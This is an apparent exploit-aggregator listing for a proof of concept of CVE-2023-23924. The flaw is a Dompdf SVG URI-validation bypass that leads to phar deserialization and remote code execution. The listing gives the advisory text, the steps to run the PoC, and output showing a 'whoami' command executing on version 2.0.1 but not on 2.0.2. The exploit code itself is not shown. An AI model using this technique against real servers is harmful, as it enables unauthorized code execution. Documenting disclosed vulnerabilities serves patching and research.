CVE-2023-23924 PoC — URI validation failure on SVG parsing in Dompdf

Source

https://github.com/motikan2010/CVE-2023-23924

Associated Vulnerability

Title: URI validation failure on SVG parsing in Dompdf (CVE-2023-23924)
Description:Dompdf is an HTML to PDF converter. The URI validation on dompdf 2.0.1 can be bypassed on SVG parsing by passing `<image>` tags with uppercase letters. This may lead to arbitrary object unserialize on PHP < 8, through the `phar` URL wrapper. An attacker can exploit the vulnerability to call arbitrary URL with arbitrary protocols, if they can provide a SVG file to dompdf. In PHP versions before 8.0.0, it leads to arbitrary unserialize, that will lead to the very least to an arbitrary file deletion and even remote code execution, depending on classes that are available.

Description

CVE-2023-23924 (Dompdf - RCE) PoC

Readme

# CVE-2023-23924

Dompdf vulnerable to URI validation failure on SVG parsing · CVE-2023-23924 · GitHub Advisory Database  
https://github.com/advisories/GHSA-3cw5-7cxw-v5qg

## Run

```
# Terminal 1
❯ cd www
❯ php -S 127.0.0.1:9000 -t .

# Terminal 2
❯ cd src
❯ php cve_2023_23924.php
```

## Check

Check the "whoami" command is running.

### 2.0.1

```
❯ php cve_2023_23924.php
PHP Warning:  file_get_contents(phar://./test.phar): failed to open stream: phar error: file "" in phar "./test.phar" cannot be empty in /Users/motikan2010/PhpstormProjects/CVE-2023-23924/vendor/phenx/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173

Warning: file_get_contents(phar://./test.phar): failed to open stream: phar error: file "" in phar "./test.phar" cannot be empty in /Users/motikan2010/PhpstormProjects/CVE-2023-23924/vendor/phenx/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173
PHP Notice:  getimagesize(): Read error! in /Users/motikan2010/PhpstormProjects/CVE-2023-23924/vendor/phenx/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 193

Notice: getimagesize(): Read error! in /Users/motikan2010/PhpstormProjects/CVE-2023-23924/vendor/phenx/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 193
motikan2010
```

### 2.0.2

```
❯ php cve_2023_23924.php
(no output)
```

## Reference

- phar:// deserialization - HackTricks  
https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →